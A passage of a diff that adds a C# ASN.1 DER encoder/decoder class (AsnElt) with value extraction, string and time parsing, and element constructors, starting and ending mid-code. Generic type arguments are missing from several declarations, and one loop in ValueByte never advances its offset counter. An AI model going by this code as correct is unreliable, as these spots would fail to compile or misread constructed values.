throw new AsnException("value overflow"); + } + off += vlen; + valLen = off - valOff; + } + + return off - orig; + } + + static void CheckOff(int off, int lim) + { + if (off >= lim) { + throw new AsnException("offset overflow"); + } + } + + /* + * Get a specific byte from the value. This provided offset is + * relative to the value start (first value byte has offset 0). + */ + public int ValueByte(int off) + { + if (off < 0) { + throw new AsnException("invalid value offset: " + off); + } + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + if ((k + slen) > off) { + return a.ValueByte(off - k); + } + } + } else { + if (off < valLen) { + return objBuf[valOff + off]; + } + } + throw new AsnException(String.Format( + "invalid value offset {0} (length = {1})", + off, ValueLength)); + } + + /* + * Encode this object into a newly allocated array. + */ + public byte[] Encode() + { + byte[] r = new byte[EncodedLength]; + Encode(r, 0); + return r; + } + + /* + * Encode this object into the provided array. Encoded object + * length is returned. + */ + public int Encode(byte[] dst, int off) + { + return Encode(0, Int32.MaxValue, dst, off); + } + + /* + * Encode this object into the provided array. Only bytes + * at offset between 'start' (inclusive) and 'end' (exclusive) + * are actually written. The number of written bytes is returned. + * Offsets are relative to the object start (first tag byte). + */ + int Encode(int start, int end, byte[] dst, int dstOff) + { + /* + * If the encoded value is already known, then we just + * dump it. + */ + if (hasEncodedHeader) { + int from = objOff + Math.Max(0, start); + int to = objOff + Math.Min(objLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, from, dst, dstOff, len); + return len; + } else { + return 0; + } + } + + int off = 0; + + /* + * Encode tag. + */ + int fb = (TagClass << 6) + (Constructed ? 0x20 : 0x00); + if (TagValue < 0x1F) { + fb |= (TagValue & 0x1F); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + } else { + fb |= 0x1F; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + int k = 0; + for (int v = TagValue; v > 0; v >>= 7, k += 7); + while (k > 0) { + k -= 7; + int v = (TagValue >> k) & 0x7F; + if (k != 0) { + v |= 0x80; + } + if (start <= off && off < end) { + dst[dstOff ++] = (byte)v; + } + off ++; + } + } + + /* + * Encode length. + */ + int vlen = ValueLength; + if (vlen < 0x80) { + if (start <= off && off < end) { + dst[dstOff ++] = (byte)vlen; + } + off ++; + } else { + int k = 0; + for (int v = vlen; v > 0; v >>= 8, k += 8); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(0x80 + (k >> 3)); + } + off ++; + while (k > 0) { + k -= 8; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(vlen >> k); + } + off ++; + } + } + + /* + * Encode value. We must adjust the start/end window to + * make it relative to the value. + */ + EncodeValue(start - off, end - off, dst, dstOff); + off += vlen; + + /* + * Compute copied length. + */ + return Math.Max(0, Math.Min(off, end) - Math.Max(0, start)); + } + + /* + * Encode the value into the provided buffer. Only value bytes + * at offsets between 'start' (inclusive) and 'end' (exclusive) + * are written. Actual number of written bytes is returned. + * Offsets are relative to the start of the value. + */ + int EncodeValue(int start, int end, byte[] dst, int dstOff) + { + int orig = dstOff; + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + dstOff += a.Encode(start - k, end - k, + dst, dstOff); + k += slen; + } + } else { + int from = Math.Max(0, start); + int to = Math.Min(valLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, valOff + from, + dst, dstOff, len); + dstOff += len; + } + } + return dstOff - orig; + } + + /* + * Copy a value chunk. The provided offset ('off') and length ('len') + * define the chunk to copy; the offset is relative to the value + * start (first value byte has offset 0). If the requested window + * exceeds the value boundaries, an exception is thrown. + */ + public void CopyValueChunk(int off, int len, byte[] dst, int dstOff) + { + int vlen = ValueLength; + if (off < 0 || len < 0 || len > (vlen - off)) { + throw new AsnException(String.Format( + "invalid value window {0}:{1}" + + " (value length = {2})", off, len, vlen)); + } + EncodeValue(off, off + len, dst, dstOff); + } + + /* + * Copy the value into the specified array. The value length is + * returned. + */ + public int CopyValue(byte[] dst, int off) + { + return EncodeValue(0, Int32.MaxValue, dst, off); + } + + /* + * Get a copy of the value as a freshly allocated array. + */ + public byte[] CopyValue() + { + byte[] r = new byte[ValueLength]; + EncodeValue(0, r.Length, r, 0); + return r; + } + + /* + * Get the value. This may return a shared buffer, that MUST NOT + * be modified. + */ + byte[] GetValue(out int off, out int len) + { + if (objBuf == null) { + /* + * We can modify objBuf because CopyValue() + * called ValueLength, thus valLen has been + * filled. + */ + objBuf = CopyValue(); + off = 0; + len = objBuf.Length; + } else { + off = valOff; + len = valLen; + } + return objBuf; + } + + /* + * Interpret the value as a BOOLEAN. + */ + public bool GetBoolean() + { + if (Constructed) { + throw new AsnException( + "invalid BOOLEAN (constructed)"); + } + int vlen = ValueLength; + if (vlen != 1) { + throw new AsnException(String.Format( + "invalid BOOLEAN (length = {0})", vlen)); + } + return ValueByte(0) != 0; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value does not fit in a 'long'. + */ + public long GetInteger() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + int v = ValueByte(0); + long x; + if ((v & 0x80) != 0) { + x = -1; + for (int k = 0; k < vlen; k ++) { + if (x < ((-1L) << 55)) { + throw new AsnException( + "integer overflow (negative)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } else { + x = 0; + for (int k = 0; k < vlen; k ++) { + if (x >= (1L << 55)) { + throw new AsnException( + "integer overflow (positive)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } + return x; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value is outside of the provided range. + */ + public long GetInteger(long min, long max) + { + long v = GetInteger(); + if (v < min || v > max) { + throw new AsnException("integer out of allowed range"); + } + return v; + } + + /* + * Interpret the value as an INTEGER. Return its hexadecimal + * representation (uppercase), preceded by a '0x' or '-0x' + * header, depending on the integer sign. The number of + * hexadecimal digits is even. Leading zeroes are returned (but + * one may remain, to ensure an even number of digits). If the + * integer has value 0, then 0x00 is returned. + */ + public string GetIntegerHex() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + StringBuilder sb = new StringBuilder(); + byte[] tmp = CopyValue(); + if (tmp[0] >= 0x80) { + sb.Append('-'); + int cc = 1; + for (int i = tmp.Length - 1; i >= 0; i --) { + int v = ((~tmp[i]) & 0xFF) + cc; + tmp[i] = (byte)v; + cc = v >> 8; + } + } + int k = 0; + while (k < tmp.Length && tmp[k] == 0) { + k ++; + } + if (k == tmp.Length) { + return "0x00"; + } + sb.Append("0x"); + while (k < tmp.Length) { + sb.AppendFormat("{0:X2}", tmp[k ++]); + } + return sb.ToString(); + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * returned. This method supports constructed values and performs + * the reassembly. + */ + public byte[] GetOctetString() + { + int len = GetOctetString(null, 0); + byte[] r = new byte[len]; + GetOctetString(r, 0); + return r; + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * written in dst[], starting at offset 'off', and the total value + * length is returned. If 'dst' is null, then no byte is written + * anywhere, but the total length is still returned. This method + * supports constructed values and performs the reassembly. + */ + public int GetOctetString(byte[] dst, int off) + { + if (Constructed) { + int orig = off; + foreach (AsnElt ae in Sub) { + ae.CheckTag(AsnElt.OCTET_STRING); + off += ae.GetOctetString(dst, off); + } + return off - orig; + } + if (dst != null) { + return CopyValue(dst, off); + } else { + return ValueLength; + } + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. + */ + public byte[] GetBitString() + { + int bitLength; + return GetBitString(out bitLength); + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. The actual bit length is + * written in 'bitLength'. + */ + public byte[] GetBitString(out int bitLength) + { + if (Constructed) { + /* + * TODO: support constructed BIT STRING values. + */ + throw new AsnException( + "invalid BIT STRING (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException( + "invalid BIT STRING (length = 0)"); + } + int fb = ValueByte(0); + if (fb > 7 || (vlen == 1 && fb != 0)) { + throw new AsnException(String.Format( + "invalid BIT STRING (start = 0x{0:X2})", fb)); + } + byte[] r = new byte[vlen - 1]; + CopyValueChunk(1, vlen - 1, r, 0); + if (vlen > 1) { + r[r.Length - 1] &= (byte)(0xFF << fb); + } + bitLength = (r.Length << 3) - fb; + return r; + } + + /* + * Interpret the value as a NULL. + */ + public void CheckNull() + { + if (Constructed) { + throw new AsnException( + "invalid NULL (constructed)"); + } + if (ValueLength != 0) { + throw new AsnException(String.Format( + "invalid NULL (length = {0})", ValueLength)); + } + } + + /* + * Interpret the value as an OBJECT IDENTIFIER, and return it + * (in decimal-dotted string format). + */ + public string GetOID() + { + CheckPrimitive(); + if (valLen == 0) { + throw new AsnException("zero-length OID"); + } + int v = objBuf[valOff]; + if (v >= 120) { + throw new AsnException( + "invalid OID: first byte = " + v); + } + StringBuilder sb = new StringBuilder(); + sb.Append(v / 40); + sb.Append('.'); + sb.Append(v % 40); + long acc = 0; + bool uv = false; + for (int i = 1; i < valLen; i ++) { + v = objBuf[valOff + i]; + if ((acc >> 56) != 0) { + throw new AsnException( + "invalid OID: integer overflow"); + } + acc = (acc << 7) + (long)(v & 0x7F); + if ((v & 0x80) == 0) { + sb.Append('.'); + sb.Append(acc); + acc = 0; + uv = false; + } else { + uv = true; + } + } + if (uv) { + throw new AsnException( + "invalid OID: truncated"); + } + return sb.ToString(); + } + + /* + * Get the object value as a string. The string type is inferred + * from the tag. + */ + public string GetString() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer string type: {0}:{1}", + TagClass, TagValue)); + } + return GetString(TagValue); + } + + /* + * Get the object value as a string. The string type is provided + * (universal tag value). Supported string types include + * NumericString, PrintableString, IA5String, TeletexString + * (interpreted as ISO-8859-1), UTF8String, BMPString and + * UniversalString; the "time types" (UTCTime and GeneralizedTime) + * are also supported, though, in their case, the internal + * contents are not checked (they are decoded as PrintableString). + */ + public string GetString(int type) + { + if (Constructed) { + throw new AsnException( + "invalid string (constructed)"); + } + switch (type) { + case NumericString: + case PrintableString: + case IA5String: + case TeletexString: + case UTCTime: + case GeneralizedTime: + return DecodeMono(objBuf, valOff, valLen, type); + case UTF8String: + return DecodeUTF8(objBuf, valOff, valLen); + case BMPString: + return DecodeUTF16(objBuf, valOff, valLen); + case UniversalString: + return DecodeUTF32(objBuf, valOff, valLen); + default: + throw new AsnException( + "unsupported string type: " + type); + } + } + + static string DecodeMono(byte[] buf, int off, int len, int type) + { + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + tc[i] = (char)buf[off + i]; + } + VerifyChars(tc, type); + return new string(tc); + } + + static string DecodeUTF8(byte[] buf, int off, int len) + { + /* + * Skip BOM. + */ + if (len >= 3 && buf[off] == 0xEF + && buf[off + 1] == 0xBB && buf[off + 2] == 0xBF) + { + off += 3; + len -= 3; + } + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + int c = buf[off + i]; + int e; + if (c < 0x80) { + e = 0; + } else if (c < 0xC0) { + throw BadByte(c, UTF8String); + } else if (c < 0xE0) { + c &= 0x1F; + e = 1; + } else if (c < 0xF0) { + c &= 0x0F; + e = 2; + } else if (c < 0xF8) { + c &= 0x07; + e = 3; + } else { + throw BadByte(c, UTF8String); + } + while (e -- > 0) { + if (++ i >= len) { + throw new AsnException( + "invalid UTF-8 string"); + } + int d = buf[off + i]; + if (d < 0x80 || d > 0xBF) { + throw BadByte(d, UTF8String); + } + c = (c << 6) + (d & 0x3F); + } + if (c > 0x10FFFF) { + throw BadChar(c, UTF8String); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (c >> 10); + int lo = 0xDC00 + (c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UTF8String); + return new string(tc); + } + + static string DecodeUTF16(byte[] buf, int off, int len) + { + if ((len & 1) != 0) { + throw new AsnException( + "invalid UTF-16 string: length = " + len); + } + len >>= 1; + if (len == 0) { + return ""; + } + bool be = true; + int hi = buf[off]; + int lo = buf[off + 1]; + if (hi == 0xFE && lo == 0xFF) { + off += 2; + len --; + } else if (hi == 0xFF && lo == 0xFE) { + off += 2; + len --; + be = false; + } + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off ++]; + int b1 = buf[off ++]; + if (be) { + tc[i] = (char)((b0 << 8) + b1); + } else { + tc[i] = (char)((b1 << 8) + b0); + } + } + VerifyChars(tc, BMPString); + return new string(tc); + } + + static string DecodeUTF32(byte[] buf, int off, int len) + { + if ((len & 3) != 0) { + throw new AsnException( + "invalid UTF-32 string: length = " + len); + } + len >>= 2; + if (len == 0) { + return ""; + } + bool be = true; + if (buf[off] == 0x00 + && buf[off + 1] == 0x00 + && buf[off + 2] == 0xFE + && buf[off + 3] == 0xFF) + { + off += 4; + len --; + } else if (buf[off] == 0xFF + && buf[off + 1] == 0xFE + && buf[off + 2] == 0x00 + && buf[off + 3] == 0x00) + { + off += 4; + len --; + be = false; + } + + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + uint b0 = buf[off + 0]; + uint b1 = buf[off + 1]; + uint b2 = buf[off + 2]; + uint b3 = buf[off + 3]; + uint c; + if (be) { + c = (b0 << 24) | (b1 << 16) + | (b2 << 8) | b3; + } else { + c = (b3 << 24) | (b2 << 16) + | (b1 << 8) | b0; + } + if (c > 0x10FFFF) { + throw BadChar((int)c, UniversalString); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (int)(c >> 10); + int lo = 0xDC00 + (int)(c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UniversalString); + return new string(tc); + } + + static void VerifyChars(char[] tc, int type) + { + switch (type) { + case NumericString: + foreach (char c in tc) { + if (!IsNum(c)) { + throw BadChar(c, type); + } + } + return; + case PrintableString: + case UTCTime: + case GeneralizedTime: + foreach (char c in tc) { + if (!IsPrintable(c)) { + throw BadChar(c, type); + } + } + return; + case IA5String: + foreach (char c in tc) { + if (!IsIA5(c)) { + throw BadChar(c, type); + } + } + return; + case TeletexString: + foreach (char c in tc) { + if (!IsLatin1(c)) { + throw BadChar(c, type); + } + } + return; + } + + /* + * For Unicode string types (UTF-8, BMP...). + */ + for (int i = 0; i < tc.Length; i ++) { + int c = tc[i]; + if (c >= 0xFDD0 && c <= 0xFDEF) { + throw BadChar(c, type); + } + if (c == 0xFFFE || c == 0xFFFF) { + throw BadChar(c, type); + } + if (c < 0xD800 || c > 0xDFFF) { + continue; + } + if (c > 0xDBFF) { + throw BadChar(c, type); + } + int hi = c & 0x3FF; + if (++ i >= tc.Length) { + throw BadChar(c, type); + } + c = tc[i]; + if (c < 0xDC00 || c > 0xDFFF) { + throw BadChar(c, type); + } + int lo = c & 0x3FF; + c = 0x10000 + lo + (hi << 10); + if ((c & 0xFFFE) == 0xFFFE) { + throw BadChar(c, type); + } + } + } + + static bool IsNum(int c) + { + return c == ' ' || (c >= '0' && c <= '9'); + } + + internal static bool IsPrintable(int c) + { + if (c >= 'A' && c <= 'Z') { + return true; + } + if (c >= 'a' && c <= 'z') { + return true; + } + if (c >= '0' && c <= '9') { + return true; + } + switch (c) { + case ' ': case '(': case ')': case '+': + case ',': case '-': case '.': case '/': + case ':': case '=': case '?': case '\'': + return true; + default: + return false; + } + } + + static bool IsIA5(int c) + { + return c < 128; + } + + static bool IsLatin1(int c) + { + return c < 256; + } + + static AsnException BadByte(int c, int type) + { + return new AsnException(String.Format( + "unexpected byte 0x{0:X2} in string of type {1}", + c, type)); + } + + static AsnException BadChar(int c, int type) + { + return new AsnException(String.Format( + "unexpected character U+{0:X4} in string of type {1}", + c, type)); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * Type of date is inferred from the tag value. + */ + public DateTime GetTime() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer date type: {0}:{1}", + TagClass, TagValue)); + } + return GetTime(TagValue); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * The time string type is provided as parameter (UTCTime or + * GeneralizedTime). + */ + public DateTime GetTime(int type) + { + bool isGen = false; + switch (type) { + case UTCTime: + break; + case GeneralizedTime: + isGen = true; + break; + default: + throw new AsnException( + "unsupported date type: " + type); + } + string s = GetString(type); + string orig = s; + + /* + * UTCTime has format: + * YYMMDDhhmm[ss](Z|(+|-)hhmm) + * + * GeneralizedTime has format: + * YYYYMMDDhhmmss[.uu*][Z|(+|-)hhmm] + * + * Differences between the two types: + * -- UTCTime encodes year over two digits; GeneralizedTime + * uses four digits. UTCTime years map to 1950..2049 (00 is + * 2000). + * -- Seconds are optional with UTCTime, mandatory with + * GeneralizedTime. + * -- GeneralizedTime can have fractional seconds (optional). + * -- Time zone is optional for GeneralizedTime. However, + * a missing time zone means "local time" which depends on + * the locality, so this is discouraged. + * + * Some other notes: + * -- If there is a fractional second, then it must include + * at least one digit. This implementation processes the + * first three digits, and ignores the rest (if present). + * -- Time zone offset ranges from -23:59 to +23:59. + * -- The calendar computations are delegated to .NET's + * DateTime (and DateTimeOffset) so this implements a + * Gregorian calendar, even for dates before 1589. Year 0 + * is not supported. + */ + + /* + * Check characters. + */ + foreach (char c in s) { + if (c >= '0' && c <= '9') { + continue; + } + if (c == '.' || c == '+' || c == '-' || c == 'Z') { + continue; + } + throw BadTime(type, orig); + } + + bool good = true; + + /* + * Parse the time zone. + */ + int tzHours = 0; + int tzMinutes = 0; + bool negZ = false; + bool noTZ = false; + if (s.EndsWith("Z")) { + s = s.Substring(0, s.Length - 1); + } else { + int j = s.IndexOf('+'); + if (j < 0) { + j = s.IndexOf('-'); + negZ = true; + } + if (j < 0) { + noTZ = true; + } else { + string t = s.Substring(j + 1); + s = s.Substring(0, j); + if (t.Length != 4) { + throw BadTime(type, orig); + } + tzHours = Dec2(t, 0, ref good); + tzMinutes = Dec2(t, 2, ref good); + if (tzHours < 0 || tzHours > 23 + || tzMinutes < 0 || tzMinutes > 59) + { + throw BadTime(type, orig); + } + } + } + + /* + * Lack of time zone is allowed only for GeneralizedTime. + */ + if (noTZ && !isGen) { + throw BadTime(type, orig); + } + + /* + * Parse the date elements. + */ + if (s.Length < 4) { + throw BadTime(type, orig); + } + int year = Dec2(s, 0, ref good); + if (isGen) { + year = year * 100 + Dec2(s, 2, ref good); + s = s.Substring(4); + } else { + if (year < 50) { + year += 100; + } + year += 1900; + s = s.Substring(2); + } + int month = Dec2(s, 0, ref good); + int day = Dec2(s, 2, ref good); + int hour = Dec2(s, 4, ref good); + int minute = Dec2(s, 6, ref good); + int second = 0; + int millisecond = 0; + if (isGen) { + second = Dec2(s, 8, ref good); + if (s.Length >= 12 && s[10] == '.') { + s = s.Substring(11); + foreach (char c in s) { + if (c < '0' || c > '9') { + good = false; + break; + } + } + s += "0000"; + millisecond = 10 * Dec2(s, 0, ref good) + + Dec2(s, 2, ref good) / 10; + } else if (s.Length != 10) { + good = false; + } + } else { + switch (s.Length) { + case 8: + break; + case 10: + second = Dec2(s, 8, ref good); + break; + default: + throw BadTime(type, orig); + } + } + + /* + * Parsing is finished; if any error occurred, then + * the 'good' flag has been cleared. + */ + if (!good) { + throw BadTime(type, orig); + } + + /* + * Leap seconds are not supported by .NET, so we claim + * they do not occur. + */ + if (second == 60) { + second = 59; + } + + /* + * .NET implementation performs all the checks (including + * checks on month length depending on year, as per the + * proleptic Gregorian calendar). + */ + try { + if (noTZ) { + DateTime dt = new DateTime(year, month, day, + hour, minute, second, millisecond, + DateTimeKind.Local); + return dt.ToUniversalTime(); + } + TimeSpan tzOff = new TimeSpan(tzHours, tzMinutes, 0); + if (negZ) { + tzOff = tzOff.Negate(); + } + DateTimeOffset dto = new DateTimeOffset( + year, month, day, hour, minute, second, + millisecond, tzOff); + return dto.UtcDateTime; + } catch (Exception e) { + throw BadTime(type, orig, e); + } + } + + static int Dec2(string s, int off, ref bool good) + { + if (off < 0 || off >= (s.Length - 1)) { + good = false; + return -1; + } + char c1 = s[off]; + char c2 = s[off + 1]; + if (c1 < '0' || c1 > '9' || c2 < '0' || c2 > '9') { + good = false; + return -1; + } + return 10 * (c1 - '0') + (c2 - '0'); + } + + static AsnException BadTime(int type, string s) + { + return BadTime(type, s, null); + } + + static AsnException BadTime(int type, string s, Exception e) + { + string tt = (type == UTCTime) ? "UTCTime" : "GeneralizedTime"; + string msg = String.Format("invalid {0} string: '{1}'", tt, s); + if (e == null) { + return new AsnException(msg); + } else { + return new AsnException(msg, e); + } + } + + /* =============================================================== */ + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, byte[] val) + { + return MakePrimitive(UNIVERSAL, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitive(UNIVERSAL, tagValue, val, off, len); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive( + int tagClass, int tagValue, byte[] val) + { + return MakePrimitive(tagClass, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagClass, int tagValue, + byte[] val, int off, int len) + { + byte[] nval = new byte[len]; + Array.Copy(val, off, nval, 0, len); + return MakePrimitiveInner(tagClass, tagValue, nval, 0, len); + } + + /* + * Like MakePrimitive(), but the provided array is NOT copied. + * This is for other factory methods that already allocate a + * new array. + */ + static AsnElt MakePrimitiveInner(int tagValue, byte[] val) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, val, off, len); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, byte[] val) + { + return MakePrimitiveInner(tagClass, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, + byte[] val, int off, int len) + { + AsnElt a = new AsnElt(); + a.objBuf = new byte[len]; + Array.Copy(val, off, a.objBuf, 0, len); + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = len; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(long x) + { + if (x >= 0) { + return MakeInteger((ulong)x); + } + int k = 1; + for (long w = x; w <= -(long)0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (long w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(ulong x) + { + int k = 1; + for (ulong w = x; w >= 0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (ulong w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _unsigned_ big-endian encoding. + */ + public static AsnElt MakeInteger(byte[] x) + { + int xLen = x.Length; + int j = 0; + while (j < xLen && x[j] == 0x00) { + j ++; + } + if (j == xLen) { + return MakePrimitiveInner(INTEGER, new byte[] { 0x00 }); + } + byte[] v; + if (x[j] < 0x80) { + v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + } else { + v = new byte[1 + xLen - j]; + Array.Copy(x, j, v, 1, v.Length - 1); + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _signed_ big-endian encoding. + */ + public static AsnElt MakeIntegerSigned(byte[] x) + { + int xLen = x.Length; + if (xLen == 0) { + throw new AsnException( + "Invalid signed integer (empty)"); + } + int j = 0; + if (x[0] >= 0x80) { + while (j < (xLen - 1) + && x[j] == 0xFF + && x[j + 1] >= 0x80) + { + j ++; + } + } else { + while (j < (xLen - 1) + && x[j] == 0x00 + && x[j + 1] < 0x80) + { + j ++; + } + } + byte[] v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is set to 0. + */ + public static AsnElt MakeBitString(byte[] buf) + { + return MakeBitString(buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(byte[] buf, int off, int len) + { + byte[] tmp = new byte[len + 1]; + Array.Copy(buf, off, tmp, 1, len); + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is specified. + */ + public static AsnElt MakeBitString(int unusedBits, byte[] buf) + { + return MakeBitString(unusedBits, buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(int unusedBits, + byte[] buf, int off, int len) + { + if (unusedBits < 0 || unusedBits > 7 + || (unusedBits != 0 && len == 0)) + { + throw new AsnException( + "Invalid number of unused bits in BIT STRING: " + + unusedBits); + } + byte[] tmp = new byte[len + 1]; + tmp[0] = (byte)unusedBits; + Array.Copy(buf, off, tmp, 1, len); + if (len > 0) { + tmp[len - 1] &= (byte)(0xFF << unusedBits); + } + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create an OCTET STRING from the provided value. + */ + public static AsnElt MakeBlob(byte[] buf) + { + return MakeBlob(buf, 0, buf.Length); + } + + public static AsnElt MakeBlob(byte[] buf, int off, int len) + { + return MakePrimitive(OCTET_STRING, buf, off, len); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagValue, params AsnElt[] subs) + { + return Make(UNIVERSAL, tagValue, subs); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagClass, int tagValue, + params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + a.Sub = new AsnElt[subs.Length]; + Array.Copy(subs, 0, a.Sub, 0, subs.Length); + } + return a; + } + + /* + * Create a SET OF: sub-elements are automatically sorted by + * lexicographic order of their DER encodings. Identical elements + * are merged. + */ + public static AsnElt MakeSetOf(params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + a.TagClass = UNIVERSAL; + a.TagValue = SET; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + SortedDictionary d = + new SortedDictionary( + COMPARER_LEXICOGRAPHIC); + foreach (AsnElt ax in subs) { + d[ax.Encode()] = ax; + } + AsnElt[] tmp = new AsnElt[d.Count]; + int j = 0; + foreach (AsnElt ax in d.Values) { + tmp[j ++] = ax; + } + a.Sub = tmp; + } + return a; + } + + static IComparer COMPARER_LEXICOGRAPHIC = + new ComparerLexicographic(); + + class ComparerLexicographic : IComparer { + + public int Compare(byte[] x, byte[] y) + { + int xLen = x.Length; + int yLen = y.Length; + int cLen = Math.Min(xLen, yLen); + for (int i = 0; i < cLen; i ++) { + if (x[i] != y[i]) { + return (int)x[i] - (int)y[i]; + } + } + return xLen - yLen; + } + } + + /* + * Wrap an element into an explicit tag. + */ + public static AsnElt MakeExplicit(int tagClass, int tagValue, AsnElt x) + { + return Make(tagClass, tagValue, x); + } + + /* + * Wrap an element into an explicit CONTEXT tag. + */ + public static AsnElt MakeExplicit(int tagValue, AsnElt x) + { + return Make(CONTEXT, tagValue, x); + } + + /* + * Apply an implicit tag to a value. The source AsnElt object + * is unmodified; a new object is returned. + */ + public static AsnElt MakeImplicit(int tagClass, int tagValue, AsnElt x) + { + if (x.Constructed) { + return Make(tagClass, tagValue, x.Sub); + } + AsnElt a = new AsnElt(); + a.objBuf = x.GetValue(out a.valOff, out a.valLen); + a.objOff = 0; + a.objLen = -1; + a.hasEncodedHeader = false; + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + public static AsnElt NULL_V = AsnElt.MakePrimitive( + NULL, new byte[0]); + + public static AsnElt BOOL_TRUE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0xFF }); + public static AsnElt BOOL_FALSE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0x00 }); + + /* + * Create an OBJECT IDENTIFIER from its string representation. + * This function tolerates extra leading zeros. + */ + public static AsnElt MakeOID(string str) + { + List r = new List(); + int n = str.Length; + long x = -1; + for (int i = 0; i < n; i ++) { + int c = 